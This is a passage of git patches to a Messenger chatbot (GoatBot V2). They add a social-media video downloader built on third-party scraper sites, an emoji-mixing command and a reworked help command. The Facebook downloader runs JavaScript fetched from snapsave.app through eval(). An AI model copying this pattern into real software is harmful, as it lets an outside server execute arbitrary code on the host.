`/cache/${time}.mp4`; + + if (url.includes("instagram")) { + this.downloadInstagram(url, api, event, path); + } else if (url.includes("facebook") || url.includes("fb.watch")) { + this.downloadFacebook(url, api, event, path); + } else if (url.includes("tiktok")) { + this.downloadTikTok(url, api, event, path); + } else if (url.includes("x.com")) { + this.downloadTwitter(url, api, event, path); + } else if (url.includes("pin.it")) { + this.downloadPinterest(url, api, event, path); + } + }, + + downloadInstagram: async function (url, api, event, path) { + try { + const res = await this.getLink(url, api, event, path); + const response = await axios({ + method: "GET", + url: res, + responseType: "arraybuffer" + }); + fs.writeFileSync(path, Buffer.from(response.data, "utf-8")); + if (fs.statSync(path).size / 1024 / 1024 > 25) { + return api.sendMessage("The file is too large, cannot be sent", event.threadID, () => fs.unlinkSync(path), event.messageID); + } + + const shortUrl = await shortenURL(res); + const messageBody = `✅ 🔗 Download Url: ${shortUrl}`; + + api.sendMessage({ + body: messageBody, + attachment: fs.createReadStream(path) + }, event.threadID, () => fs.unlinkSync(path), event.messageID); + } catch (err) { + console.error(err); + } + }, + downloadFacebook: async function (url, api, event, path) { + try { + const res = await fbDownloader(url); + if (res.success && res.download && res.download.length > 0) { + const videoUrl = res.download[0].url; + const response = await axios({ + method: "GET", + url: videoUrl, + responseType: "stream" + }); + if (response.headers['content-length'] > 87031808) { + return api.sendMessage("The file is too large, cannot be sent", event.threadID, () => fs.unlinkSync(path), event.messageID); + } + response.data.pipe(fs.createWriteStream(path)); + response.data.on('end', async () => { + const shortUrl = await shortenURL(videoUrl); + const messageBody = `✅🔗 Download Url: ${shortUrl}`; + + api.sendMessage({ + body: messageBody, + attachment: fs.createReadStream(path) + }, event.threadID, () => fs.unlinkSync(path), event.messageID); + }); + } else { + api.sendMessage("", event.threadID, event.messageID); + } + } catch (err) { + console.error(err); + } + }, + downloadTikTok: async function (url, api, event, path) { + try { + const res = await this.getLink(url, api, event, path); + const response = await axios({ + method: "GET", + url: res, + responseType: "arraybuffer" + }); + fs.writeFileSync(path, Buffer.from(response.data, "utf-8")); + if (fs.statSync(path).size / 1024 / 1024 > 25) { + return api.sendMessage("The file is too large, cannot be sent", event.threadID, () => fs.unlinkSync(path), event.messageID); + } + + const shortUrl = await shortenURL(res); + const messageBody = `✅ Download Url: ${shortUrl}`; + + api.sendMessage({ + body: messageBody, + attachment: fs.createReadStream(path) + }, event.threadID, () => fs.unlinkSync(path), event.messageID); + } catch (err) { + console.error(err); + } + }, + downloadTwitter: async function (url, api, event, path) { + try { + const res = await axios.get(`https://xdl-tjqe.onrender.com/kshitiz?url=${encodeURIComponent(url)}`); + const videoUrl = res.data.url; + + const response = await axios({ + method: "GET", + url: videoUrl, + responseType: "stream" + }); + + if (response.headers['content-length'] > 87031808) { + return api.sendMessage("The file is too large, cannot be sent", event.threadID, () => fs.unlinkSync(path), event.messageID); + } + + response.data.pipe(fs.createWriteStream(path)); + response.data.on('end', async () => { + const shortUrl = await shortenURL(videoUrl); + const messageBody = `✅🔗 Download Url: ${shortUrl}`; + + api.sendMessage({ + body: messageBody, + attachment: fs.createReadStream(path) + }, event.threadID, () => fs.unlinkSync(path), event.messageID); + }); + } catch (err) { + console.error(err); + } + }, + downloadPinterest: async function (url, api, event, path) { + try { + const res = await axios.get(`https://pindl.onrender.com/kshitiz?url=${encodeURIComponent(url)}`); + const videoUrl = res.data.url; + + const response = await axios({ + method: "GET", + url: videoUrl, + responseType: "stream" + }); + + if (response.headers['content-length'] > 87031808) { + return api.sendMessage("The file is too large, cannot be sent", event.threadID, () => fs.unlinkSync(path), event.messageID); + } + + response.data.pipe(fs.createWriteStream(path)); + response.data.on('end', async () => { + const shortUrl = await shortenURL(videoUrl); + const messageBody = `✅🔗 Download Url: ${shortUrl}`; + + api.sendMessage({ + body: messageBody, + attachment: fs.createReadStream(path) + }, event.threadID, () => fs.unlinkSync(path), event.messageID); + }); + } catch (err) { + console.error(err); + } + }, + + getLink: function (url, api, event, path) { + return new Promise((resolve, reject) => { + if (url.includes("instagram")) { + axios({ + method: "GET", + url: `https://instadl.onrender.com/insta?url=${encodeURIComponent(url)}` + }) + .then(res => { + console.log(`API Response: ${JSON.stringify(res.data)}`); + if (res.data.url) { + resolve(res.data.url); + } else { + reject(new Error("Invalid response from the API")); + } + }) + .catch(err => reject(err)); + } else if (url.includes("facebook") || url.includes("fb.watch")) { + fbDownloader(url).then(res => { + if (res.success && res.download && res.download.length > 0) { + const videoUrl = res.download[0].url; + resolve(videoUrl); + } else { + reject(new Error("Invalid response from the Facebook downloader")); + } + }).catch(err => reject(err)); + } else if (url.includes("tiktok")) { + this.queryTikTok(url).then(res => { + resolve(res.downloadUrls); + }).catch(err => reject(err)); + } else { + reject(new Error("Unsupported platform. Only Instagram, Facebook, and TikTok are supported.")); + } + }); + }, + queryTikTok: async function (url) { + try { + const res = await axios.get("https://ssstik.io/en"); + const s_tt = res.data.split('s_tt = ')[1].split(',')[0]; + const { data: result } = await axios({ + url: "https://ssstik.io/abc?url=dl", + method: "POST", + data: qs.stringify({ + id: url, + locale: 'en', + tt: s_tt + }), + headers: { + "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.33" + } + }); + + const $ = cheerio.load(result); + if (result.includes('
')) { + throw { + status: "error", + message: $('p').text() + }; + } + + const allUrls = $('.result_overlay_buttons > a'); + const format = { + status: 'success', + title: $('.maintext').text() + }; + + const slide = $(".slide"); + if (slide.length !== 0) { + const url = []; + slide.each((index, element) => { + url.push($(element).attr('href')); + }); + format.downloadUrls = url; + return format; + } + + format.downloadUrls = $(allUrls[0]).attr('href'); + return format; + } catch (err) { + console.error('Error in TikTok Downloader:', err); + return { + status: "error", + message: "An error occurred while downloading from TikTok" + }; + } + }, + checkLink: function (url) { + if ( + url.includes("instagram") || + url.includes("facebook") || + url.includes("fb.watch") || + url.includes("tiktok") || + url.includes("x.com") || + url.includes("pin.it") + ) { + return { + url: url + }; + } + + const fbWatchRegex = /fb\.watch\/[a-zA-Z0-9_-]+/i; + if (fbWatchRegex.test(url)) { + return { + url: url + }; + } + + return null; + } + }; + +async function fbDownloader(url) { + try { + const response1 = await axios({ + method: 'POST', + url: 'https://snapsave.app/action.php?lang=vn', + headers: { + "accept": "*/*", + "accept-language": "vi,en-US;q=0.9,en;q=0.8", + "content-type": "multipart/form-data", + "sec-ch-ua": "\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Microsoft Edge\";v=\"110\"", + "sec-ch-ua-mobile": "?0", + "sec-ch-ua-platform": "\"Windows\"", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-origin", + "Referer": "https://snapsave.app/vn", + "Referrer-Policy": "strict-origin-when-cross-origin" + }, + data: { + url + } + }); + + console.log('Facebook Downloader Response:', response1.data); + + let html; + const evalCode = response1.data.replace('return decodeURIComponent', 'html = decodeURIComponent'); + eval(evalCode); + html = html.split('innerHTML = "')[1].split('";\n')[0].replace(/\\"/g, '"'); + + const $ = cheerio.load(html); + const download = []; + + const tbody = $('table').find('tbody'); + const trs = tbody.find('tr'); + + trs.each(function (i, elem) { + const trElement = $(elem); + const tds = trElement.children(); + const quality = $(tds[0]).text().trim(); + const url = $(tds[2]).children('a').attr('href'); + if (url != undefined) { + download.push({ + quality, + url + }); + } + }); + + return { + success: true, + video_length: $("div.clearfix > p").text().trim(), + download + }; + } catch (err) { + console.error('Error in Facebook Downloader:', err); + return { + success: false + }; + } + } From 62e768cd7f24ef2182819e54fe83f72850a83b17 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 14 Mar 2024 05:42:40 +0545 Subject: [PATCH 098/126] Create emojiremix.js --- scripts/cmds/emojiremix.js | 72 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 72 insertions(+) create mode 100644 scripts/cmds/emojiremix.js diff --git a/scripts/cmds/emojiremix.js b/scripts/cmds/emojiremix.js new file mode 100644 index 0000000000..bdd314dd61 --- /dev/null +++ b/scripts/cmds/emojiremix.js @@ -0,0 +1,72 @@ +const axios = require("axios"); + +module.exports = { + config: { + name: "emojiremix", + aliases: ["remix"], + version: "1.3", + author: "Hassan", + countDown: 5, + role: 0, + shortDescription: "Mix 3 emojis", + longDescription: { + vi: "Mix 3 emoji lại với nhau", + en: "Mix 3 emojis together" + }, + guide: { + vi: "{pn} " + + "\Ví dụ: {pn} 😦 🥲 😥", + en: "{pn} " + + "\Example: {pn} 😦 🥲 😥" + }, + category: "fun" + }, + + langs: { + vi: { + error: "Rất tiếc, emoji %1, %2, và %3 không thể mix được", + success: "Emoji %1, %2, và %3 đã được mix thành %4 ảnh" + }, + en: { + error: "Sorry, emojis %1, %2, and %3 cannot be mixed", + success: "Emojis %1, %2, and %3 mixed into %4 images" + } + }, + + onStart: async function ({ message, args, getLang }) { + const readStream = []; + const emojis = args.slice(0, 3); + + if (emojis.length !== 3) + return message.SyntaxError(); + + const generate1 = await generateEmojimix(emojis[0], emojis[1]); + const generate2 = await generateEmojimix(emojis[1], emojis[2]); + const generate3 = await generateEmojimix(emojis[0], emojis[2]); + + if (generate1) readStream.push(generate1); + if (generate2) readStream.push(generate2); + if (generate3) readStream.push(generate3); + + if (readStream.length === 0) + return message.reply(getLang("error", ...emojis)); + + message.reply({ + body: getLang("success", ...emojis, readStream.length), + attachment: readStream + }); + } +}; + +async function generateEmojimix(emoji1, emoji2) { + try { + const { data: response } = await axios.get("https://goatbotserver.onrender.com/taoanhdep/emojimix", { + params: { emoji1, emoji2 }, + responseType: "stream" + }); + response.path = `emojimix${Date.now()}.png`; + return response; + } catch (e) { + return null; + } +} From 6b9623fd58c6c38b799ab03f42859d725673fc90 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 14 Mar 2024 05:44:02 +0545 Subject: [PATCH 099/126] Update help.js --- scripts/cmds/help.js | 611 ++++++++++++++++++++++++++----------------- 1 file changed, 370 insertions(+), 241 deletions(-) diff --git a/scripts/cmds/help.js b/scripts/cmds/help.js index 458aba75ab..d937f3c76b 100644 --- a/scripts/cmds/help.js +++ b/scripts/cmds/help.js @@ -3,278 +3,407 @@ const axios = require("axios"); const path = require("path"); const { getPrefix } = global.utils; const { commands, aliases } = global.GoatBot; -const doNotDelete = "天 | GoatBot V2 |"; -/** +const doNotDelete = "[ 🐐 | Goat Bot V2 ]"; +/** * @author NTKhang * @author: do not delete it * @message if you delete or edit it you will get a global ban -* please don't ban me, your help.js is Modified */ module.exports = { - config: { - name: "help", - version: "1.17", - author: "NTKhang", //Modified By Zedric - countDown: 5, - role: 0, - shortDescription: { - vi: "Xem cách dùng lệnh", - en: "View command usage" - }, - longDescription: { - vi: "Xem cách sử dụng của các lệnh", - en: "View command usage" - }, - category: "info", - guide: { - vi: " {pn} [để trống | | ]" - + "\n {pn} [-u | usage | -g | guide]: chỉ hiển thị phần hướng dẫn sử dụng lệnh" - + "\n {pn} [-i | info]: chỉ hiển thị phần thông tin về lệnh" - + "\n {pn} [-r | role]: chỉ hiển thị phần quyền hạn của lệnh" - + "\n {pn} [-a | alias]: chỉ hiển thị phần tên viết tắt của lệnh", - en: "{pn} [empty | | ]" - + "\n {pn} [-u | usage | -g | guide]: only show command usage" - + "\n {pn} [-i | info]: only show command info" - + "\n {pn} [-r | role]: only show command role" - + "\n {pn} [-a | alias]: only show command alias" - }, - priority: 1 - }, + config: { + name: "help", + version: "1.21", + author: "NTKhang", + countDown: 5, + role: 0, + description: { + vi: "Xem cách sử dụng của các lệnh", + en: "View command usage" + }, + category: "info", + guide: { + vi: " {pn} [để trống | | ]" + + "\n {pn} [-u | usage | -g | guide]: chỉ hiển thị phần hướng dẫn sử dụng lệnh" + + "\n {pn} [-i | info]: chỉ hiển thị phần thông tin về lệnh" + + "\n {pn} [-r | role]: chỉ hiển thị phần quyền hạn của lệnh" + + "\n {pn} [-a | alias]: chỉ hiển thị phần tên viết tắt của lệnh", + en: "{pn} [empty | | ]" + + "\n {pn} [-u | usage | -g | guide]: only show command usage" + + "\n {pn} [-i | info]: only show command info" + + "\n {pn} [-r | role]: only show command role" + + "\n {pn} [-a | alias]: only show command alias" + }, + priority: 1 + }, - langs: { - vi: { - help: "╭─────────────⭓\n%1\n├─────⭔\n│ Trang [ %2/%3 ]\n│ Hiện tại bot có %4 lệnh có thể sử dụng\n│ » Gõ %5help để xem danh sách các lệnh\n│ » Gõ %5help để xem chi tiết cách sử dụng lệnh đó\n├────────⭔\n│ %6\n╰─────────────⭓", - help2: "%1├───────⭔\n│ » Hiện tại bot có %2 lệnh có thể sử dụng\n│ » Gõ %3help để xem chi tiết cách sử dụng lệnh đó\n│ %4\n╰─────────────⭓", - commandNotFound: "Lệnh \"%1\" không tồn tại", - getInfoCommand: "╭── NAME ────⭓\n│ %1\n├── INFO\n│ Mô tả: %2\n│ Các tên gọi khác: %3\n│ Các tên gọi khác trong nhóm bạn: %4\n│ Version: %5\n│ Role: %6\n│ Thời gian mỗi lần dùng lệnh: %7s\n│ Author: %8\n├── Usage\n│%9\n├── Notes\n│ Nội dung bên trong là có thể thay đổi\n│ Nội dung bên trong [a|b|c] là a hoặc b hoặc c\n╰──────⭔", - onlyInfo: "╭── INFO ────⭓\n│ Tên lệnh: %1\n│ Mô tả: %2\n│ Các tên gọi khác: %3\n│ Các tên gọi khác trong nhóm bạn: %4\n│ Version: %5\n│ Role: %6\n│ Thời gian mỗi lần dùng lệnh: %7s\n│ Author: %8\n╰─────────────⭓", - onlyUsage: "╭── USAGE ────⭓\n│%1\n╰─────────────⭓", - onlyAlias: "╭── ALIAS ────⭓\n│ Các tên gọi khác: %1\n│ Các tên gọi khác trong nhóm bạn: %2\n╰─────────────⭓", - onlyRole: "╭── ROLE ────⭓\n│%1\n╰─────────────⭓", - doNotHave: "Không có", - roleText0: "0 (Tất cả người dùng)", - roleText1: "1 (Quản trị viên nhóm)", - roleText2: "2 (Admin bot)", - roleText0setRole: "0 (set role, tất cả người dùng)", - roleText1setRole: "1 (set role, quản trị viên nhóm)", - pageNotFound: "Trang %1 không tồn tại" - }, - en: { - help: "🔴🟡🟢\n\n╔⏤⏤⏤╝❀╚⏤⏤⏤╗\n %6\n\n%1\n\nPage [ %2/%3 ]\nCurrently, The Bot has %4 Commands \n\n 📜 » Type %5help \n 📃 » Type %5help \n\n \n", - help2: "%1├───────⭔\n│ » Currently, the bot has %2 commands that can be used\n│ » Type %3help to view the details of how to use that command\n│ %4\n╰─────────────⭓", - commandNotFound: "My Lord, Command \"%1\" does not exist, My Apologies 😓", - getInfoCommand: "╭── NAME ────⭓\n│ %1\n├── INFO\n│ Description: %2\n│ Other names: %3\n│ Other names in your group: %4\n│ Version: %5\n│ Role: %6\n│ Time per command: %7s\n│ Author: %8\n├── Usage\n%9\n├── Notes\n│ The content inside can be changed\n│ The content inside [a|b|c] is a or b or c\n╰──────⭔", - onlyInfo: "╭── INFO ────⭓\n│ Command name: %1\n│ Description: %2\n│ Other names: %3\n│ Other names in your group: %4\n│ Version: %5\n│ Role: %6\n│ Time per command: %7s\n│ Author: %8\n╰─────────────⭓", - onlyUsage: "╭── USAGE ────⭓\n│%1\n╰─────────────⭓", - onlyAlias: "╭── ALIAS ────⭓\n│ Other names: %1\n│ Other names in your group: %2\n╰─────────────⭓", - onlyRole: "╭── ROLE ────⭓\n│%1\n╰─────────────⭓", - doNotHave: "Do not have", - roleText0: "0 (All users)", - roleText1: "1 (Group administrators)", - roleText2: "2 (Admin bot)", - roleText0setRole: "0 (set role, all users)", - roleText1setRole: "1 (set role, group administrators)", - pageNotFound: "Page %1 does not exist" - } - }, + langs: { + vi: { + help: "╭─────────────⭓" + + "\n%1" + + "\n├─────⭔" + + "\n│ Trang [ %2/%3 ]" + + "\n│ Hiện tại bot có %4 lệnh có thể sử dụng" + + "\n│ » Gõ %5help để xem danh sách các lệnh" + + "\n│ » Gõ %5help để xem chi tiết cách sử dụng lệnh đó" + + "\n├────────⭔" + + "\n│ %6" + + "\n╰─────────────⭓", + help2: "%1├───────⭔" + + "\n│ » Hiện tại bot có %2 lệnh có thể sử dụng" + + "\n│ » Gõ %3help để xem chi tiết cách sử dụng lệnh đó" + + "\n│ %4" + + "\n╰─────────────⭓", + commandNotFound: "Lệnh \"%1\" không tồn tại", + getInfoCommand: "╭── NAME ────⭓" + + "\n│ %1" + + "\n├── INFO" + + "\n│ Mô tả: %2" + + "\n│ Các tên gọi khác: %3" + + "\n│ Các tên gọi khác trong nhóm bạn: %4" + + "\n│ Version: %5" + + "\n│ Role: %6" + + "\n│ Thời gian mỗi lần dùng lệnh: %7s" + + "\n│ Author: %8" + + "\n├── USAGE" + + "\n│%9" + + "\n├── NOTES" + + "\n│ Nội dung bên trong là có thể thay đổi" + + "\n│ Nội dung bên trong [a|b|c] là a hoặc b hoặc c" + + "\n╰──────⭔", + onlyInfo: "╭── INFO ────⭓" + + "\n│ Tên lệnh: %1" + + "\n│ Mô tả: %2" + + "\n│ Các tên gọi khác: %3" + + "\n│ Các tên gọi khác trong nhóm bạn: %4" + + "\n│ Version: %5" + + "\n│ Role: %6" + + "\n│ Thời gian mỗi lần dùng lệnh: %7s" + + "\n│ Author: %8" + + "\n╰─────────────⭓", + onlyUsage: "╭── USAGE ────⭓" + + "\n│%1" + + "\n╰─────────────⭓", + onlyAlias: "╭── ALIAS ────⭓" + + "\n│ Các tên gọi khác: %1" + + "\n│ Các tên gọi khác trong nhóm bạn: %2" + + "\n╰─────────────⭓", + onlyRole: "╭── ROLE ────⭓" + + "\n│%1" + + "\n╰─────────────⭓", + doNotHave: "Không có", + roleText0: "0 (Tất cả người dùng)", + roleText1: "1 (Quản trị viên nhóm)", + roleText2: "2 (Admin bot)", + roleText0setRole: "0 (set role, tất cả người dùng)", + roleText1setRole: "1 (set role, quản trị viên nhóm)", + pageNotFound: "Trang %1 không tồn tại" + }, + en: { + help: "╭─────────────⭓" + + "\n%1" + + "\n├─────⭔" + + "\n│ Page [ %2/%3 ]" + + "\n│ Currently, the bot has %4 commands that can be used" + + "\n│ » Type %5help to view the command list" + + "\n│ » Type %5help to view the details of how to use that command" + + "\n├────────⭔" + + "\n│ %6" + + "\n╰─────────────⭓", + help2: "%1├───────⭔" + + "\n│ » Currently, the bot has %2 commands that can be used" + + "\n│ » Type %3help to view the details of how to use that command" + + "\n│ %4" + + "\n╰─────────────⭓", + commandNotFound: "Command \"%1\" does not exist", + getInfoCommand: "╭── NAME ────⭓" + + "\n│ %1" + + "\n├── INFO" + + "\n│ Description: %2" + + "\n│ Other names: %3" + + "\n│ Other names in your group: %4" + + "\n│ Version: %5" + + "\n│ Role: %6" + + "\n│ Time per command: %7s" + + "\n│ Author: %8" + + "\n├── USAGE" + + "\n│%9" + + "\n├── NOTES" + + "\n│ The content inside can be changed" + + "\n│ The content inside [a|b|c] is a or b or c" + + "\n╰──────⭔", + onlyInfo: "╭── INFO ────⭓" + + "\n│ Command name: %1" + + "\n│ Description: %2" + + "\n│ Other names: %3" + + "\n│ Other names in your group: %4" + + "\n│ Version: %5" + + "\n│ Role: %6" + + "\n│ Time per command: %7s" + + "\n│ Author: %8" + + "\n╰─────────────⭓", + onlyUsage: "╭── USAGE ────⭓" + + "\n│%1" + + "\n╰─────────────⭓", + onlyAlias: "╭── ALIAS ────⭓" + + "\n│ Other names: %1" + + "\n│ Other names in your group: %2" + + "\n╰─────────────⭓", + onlyRole: "╭── ROLE ────⭓" + + "\n│%1" + + "\n╰─────────────⭓", + doNotHave: "Do not have", + roleText0: "0 (All users)", + roleText1: "1 (Group administrators)", + roleText2: "2 (Admin bot)", + roleText0setRole: "0 (set role, all users)", + roleText1setRole: "1 (set role, group administrators)", + pageNotFound: "Page %1 does not exist" + } + }, - onStart: async function ({ message, args, event, threadsData, getLang, role }) { - const langCode = await threadsData.get(event.threadID, "data.lang") || global.GoatBot.config.language; - let customLang = {}; - const pathCustomLang = path.normalize(`${process.cwd()}/languages/cmds/${langCode}.js`); - if (fs.existsSync(pathCustomLang)) - customLang = require(pathCustomLang); + onStart: async function ({ message, args, event, threadsData, getLang, role, globalData }) { + const langCode = await threadsData.get(event.threadID, "data.lang") || global.GoatBot.config.language; + let customLang = {}; + const pathCustomLang = path.normalize(`${process.cwd()}/languages/cmds/${langCode}.js`); + if (fs.existsSync(pathCustomLang)) + customLang = require(pathCustomLang); - const { threadID } = event; - const threadData = await threadsData.get(threadID); - const prefix = getPrefix(threadID); - let sortHelp = threadData.settings.sortHelp || "name"; - if (!["category", "name"].includes(sortHelp)) - sortHelp = "name"; - const commandName = (args[0] || "").toLowerCase(); - const command = commands.get(commandName) || commands.get(aliases.get(commandName)); + const { threadID } = event; + const threadData = await threadsData.get(threadID); + const prefix = getPrefix(threadID); + let sortHelp = threadData.settings.sortHelp || "name"; + if (!["category", "name"].includes(sortHelp)) + sortHelp = "name"; + const commandName = (args[0] || "").toLowerCase(); + let command = commands.get(commandName) || commands.get(aliases.get(commandName)); + const aliasesData = threadData.data.aliases || { + // uid: ["userid", "id"] + }; + if (!command) { + for (const cmdName in aliasesData) { + if (aliasesData[cmdName].includes(commandName)) { + command = commands.get(cmdName); + break; + } + } + } - // ———————————————— LIST ALL COMMAND ——————————————— // - if (!command && !args[0] || !isNaN(args[0])) { - const arrayInfo = []; - let msg = ""; - if (sortHelp == "name") { - const page = parseInt(args[0]) || 1; - const numberOfOnePage = 999; - for (const [name, value] of commands) { - if (value.config.role > 1 && role < value.config.role) - continue; - let describe = name; - let shortDescription; - const shortDescriptionCustomLang = customLang[name]?.shortDescription; - if (shortDescriptionCustomLang != undefined) - shortDescription = checkLangObject(shortDescriptionCustomLang, langCode); - else if (value.config.shortDescription) - shortDescription = checkLangObject(value.config.shortDescription, langCode); - if (shortDescription) - describe += `: ${cropContent(shortDescription.charAt(0).toUpperCase() + shortDescription.slice(1))}`; - arrayInfo.push({ - data: describe, - priority: value.priority || 0 - }); - } + if (!command) { + const globalAliasesData = await globalData.get('setalias', 'data', []); + // [{ + // commandName: "uid", + // aliases: ["uid", "id] + // }] + for (const item of globalAliasesData) { + if (item.aliases.includes(commandName)) { + command = commands.get(item.commandName); + break; + } + } + } - arrayInfo.sort((a, b) => a.data - b.data); // sort by name - arrayInfo.sort((a, b) => a.priority > b.priority ? -1 : 1); // sort by priority - const { allPage, totalPage } = global.utils.splitPage(arrayInfo, numberOfOnePage); - if (page < 1 || page > totalPage) - return message.reply(getLang("pageNotFound", page)); + // ———————————————— LIST ALL COMMAND ——————————————— // + if (!command && !args[0] || !isNaN(args[0])) { + const arrayInfo = []; + let msg = ""; + if (sortHelp == "name") { + const page = parseInt(args[0]) || 1; + const numberOfOnePage = 30; + for (const [name, value] of commands) { + if (value.config.role > 1 && role < value.config.role) + continue; + let describe = name; + let description; + const descriptionCustomLang = customLang[name]?.description; + if (descriptionCustomLang != undefined) + description = checkLangObject(descriptionCustomLang, langCode); + else if (value.config.description) + description = checkLangObject(value.config.description, langCode); + if (description) + describe += `: ${cropContent(description.charAt(0).toUpperCase() + description.slice(1), 50)}`; + arrayInfo.push({ + data: describe, + priority: value.priority || 0 + }); + } - const returnArray = allPage[page - 1] || []; - const startNumber = (page - 1) * numberOfOnePage + 1; - msg += (returnArray || []).reduce((text, item, index) => text += `天 ${index + startNumber}${index + startNumber < 10 ? " " : ""}. ${item.data}\n`, '').slice(0, -1); - await message.reply(getLang("help", msg, page, totalPage, commands.size, prefix, doNotDelete)); - } - else if (sortHelp == "category") { - for (const [, value] of commands) { - if (value.config.role > 1 && role < value.config.role) - continue; // if role of command > role of user => skip - const indexCategory = arrayInfo.findIndex(item => (item.category || "NO CATEGORY") == (value.config.category?.toLowerCase() || "NO CATEGORY")); + arrayInfo.sort((a, b) => a.data - b.data); // sort by name + arrayInfo.sort((a, b) => a.priority > b.priority ? -1 : 1); // sort by priority + const { allPage, totalPage } = global.utils.splitPage(arrayInfo, numberOfOnePage); + if (page < 1 || page > totalPage) + return message.reply(getLang("pageNotFound", page)); - if (indexCategory != -1) - arrayInfo[indexCategory].names.push(value.config.name); - else - arrayInfo.push({ - category: value.config.category.toLowerCase(), - names: [value.config.name] - }); - } - arrayInfo.sort((a, b) => (a.category < b.category ? -1 : 1)); - arrayInfo.forEach((data, index) => { - const categoryUpcase = `${index == 0 ? `╭` : `├`}─── ${data.category.toUpperCase()} ${index == 0 ? "⭓" : "⭔"}`; - data.names = data.names.sort().map(item => item = `│ ${item}`); - msg += `${categoryUpcase}\n${data.names.join("\n")}\n`; - }); - message.reply(getLang("help2", msg, commands.size, prefix, doNotDelete)); - } - } - // ———————————— COMMAND DOES NOT EXIST ———————————— // - else if (!command && args[0]) { - return message.reply(getLang("commandNotFound", args[0])); - } - // ————————————————— INFO COMMAND ————————————————— // - else { - const formSendMessage = {}; - const configCommand = command.config; + const returnArray = allPage[page - 1] || []; + const startNumber = (page - 1) * numberOfOnePage + 1; + msg += (returnArray || []).reduce((text, item, index) => text += `│ ${index + startNumber}${index + startNumber < 10 ? " " : ""}. ${item.data}\n`, '').slice(0, -1); + await message.reply(getLang("help", msg, page, totalPage, commands.size, prefix, doNotDelete)); + } + else if (sortHelp == "category") { + for (const [, value] of commands) { + if (value.config.role > 1 && role < value.config.role) + continue; // if role of command > role of user => skip + const indexCategory = arrayInfo.findIndex(item => (item.category || "NO CATEGORY") == (value.config.category?.toLowerCase() || "NO CATEGORY")); - let guide = configCommand.guide?.[langCode] || configCommand.guide?.["en"]; - if (guide == undefined) - guide = customLang[configCommand.name]?.guide?.[langCode] || customLang[configCommand.name]?.guide?.["en"]; + if (indexCategory != -1) + arrayInfo[indexCategory].names.push(value.config.name); + else + arrayInfo.push({ + category: value.config.category.toLowerCase(), + names: [value.config.name] + }); + } + arrayInfo.sort((a, b) => (a.category < b.category ? -1 : 1)); + arrayInfo.forEach((data, index) => { + const categoryUpcase = `${index == 0 ? `╭` : `├`}─── ${data.category.toUpperCase()} ${index == 0 ? "⭓" : "⭔"}`; + data.names = data.names.sort().map(item => item = `│ ${item}`); + msg += `${categoryUpcase}\n${data.names.join("\n")}\n`; + }); + message.reply(getLang("help2", msg, commands.size, prefix, doNotDelete)); + } + } + // ———————————— COMMAND DOES NOT EXIST ———————————— // + else if (!command && args[0]) { + return message.reply(getLang("commandNotFound", args[0])); + } + // ————————————————— INFO COMMAND ————————————————— // + else { + const formSendMessage = {}; + const configCommand = command.config; - guide = guide || { - body: "" - }; - if (typeof guide == "string") - guide = { body: guide }; - const guideBody = guide.body - .replace(/\{prefix\}|\{p\}/g, prefix) - .replace(/\{name\}|\{n\}/g, configCommand.name) - .replace(/\{pn\}/g, prefix + configCommand.name); + let guide = configCommand.guide?.[langCode] || configCommand.guide?.["en"]; + if (guide == undefined) + guide = customLang[configCommand.name]?.guide?.[langCode] || customLang[configCommand.name]?.guide?.["en"]; - const aliasesString = configCommand.aliases ? configCommand.aliases.join(", ") : getLang("doNotHave"); - const aliasesThisGroup = threadData.data.aliases ? (threadData.data.aliases[configCommand.name] || []).join(", ") : getLang("doNotHave"); + guide = guide || { + body: "" + }; + if (typeof guide == "string") + guide = { body: guide }; + const guideBody = guide.body + .replace(/\{prefix\}|\{p\}/g, prefix) + .replace(/\{name\}|\{n\}/g, configCommand.name) + .replace(/\{pn\}/g, prefix + configCommand.name); - let roleOfCommand = configCommand.role; - let roleIsSet = false; - if (threadData.data.setRole?.[configCommand.name]) { - roleOfCommand = threadData.data.setRole[configCommand.name]; - roleIsSet = true; - } + const aliasesString = configCommand.aliases ? configCommand.aliases.join(", ") : getLang("doNotHave"); + const aliasesThisGroup = threadData.data.aliases ? (threadData.data.aliases[configCommand.name] || []).join(", ") : getLang("doNotHave"); - const roleText = roleOfCommand == 0 ? - (roleIsSet ? getLang("roleText0setRole") : getLang("roleText0")) : - roleOfCommand == 1 ? - (roleIsSet ? getLang("roleText1setRole") : getLang("roleText1")) : - getLang("roleText2"); + let roleOfCommand = configCommand.role; + let roleIsSet = false; + if (threadData.data.setRole?.[configCommand.name]) { + roleOfCommand = threadData.data.setRole[configCommand.name]; + roleIsSet = true; + } - const author = configCommand.author; - const descriptionCustomLang = customLang[configCommand.name]?.longDescription; - let description = checkLangObject(configCommand.longDescription, langCode); - if (description == undefined) - if (descriptionCustomLang != undefined) - description = checkLangObject(descriptionCustomLang, langCode); - else - description = getLang("doNotHave"); + const roleText = roleOfCommand == 0 ? + (roleIsSet ? getLang("roleText0setRole") : getLang("roleText0")) : + roleOfCommand == 1 ? + (roleIsSet ? getLang("roleText1setRole") : getLang("roleText1")) : + getLang("roleText2"); - let sendWithAttachment = false; // check subcommand need send with attachment or not + const author = configCommand.author; + const descriptionCustomLang = customLang[configCommand.name]?.description; + let description = checkLangObject(configCommand.description, langCode); + if (description == undefined) + if (descriptionCustomLang != undefined) + description = checkLangObject(descriptionCustomLang, langCode); + else + description = getLang("doNotHave"); - if (args[1]?.match(/^-g|guide|-u|usage$/)) { - formSendMessage.body = getLang("onlyUsage", guideBody.split("\n").join("\n│")); - sendWithAttachment = true; - } - else if (args[1]?.match(/^-a|alias|aliase|aliases$/)) - formSendMessage.body = getLang("onlyAlias", aliasesString, aliasesThisGroup); - else if (args[1]?.match(/^-r|role$/)) - formSendMessage.body = getLang("onlyRole", roleText); - else if (args[1]?.match(/^-i|info$/)) - formSendMessage.body = getLang("onlyInfo", configCommand.name, description, aliasesString, aliasesThisGroup, configCommand.version, roleText, configCommand.countDown || 1, author || ""); - else { - formSendMessage.body = getLang("getInfoCommand", configCommand.name, description, aliasesString, aliasesThisGroup, configCommand.version, roleText, configCommand.countDown || 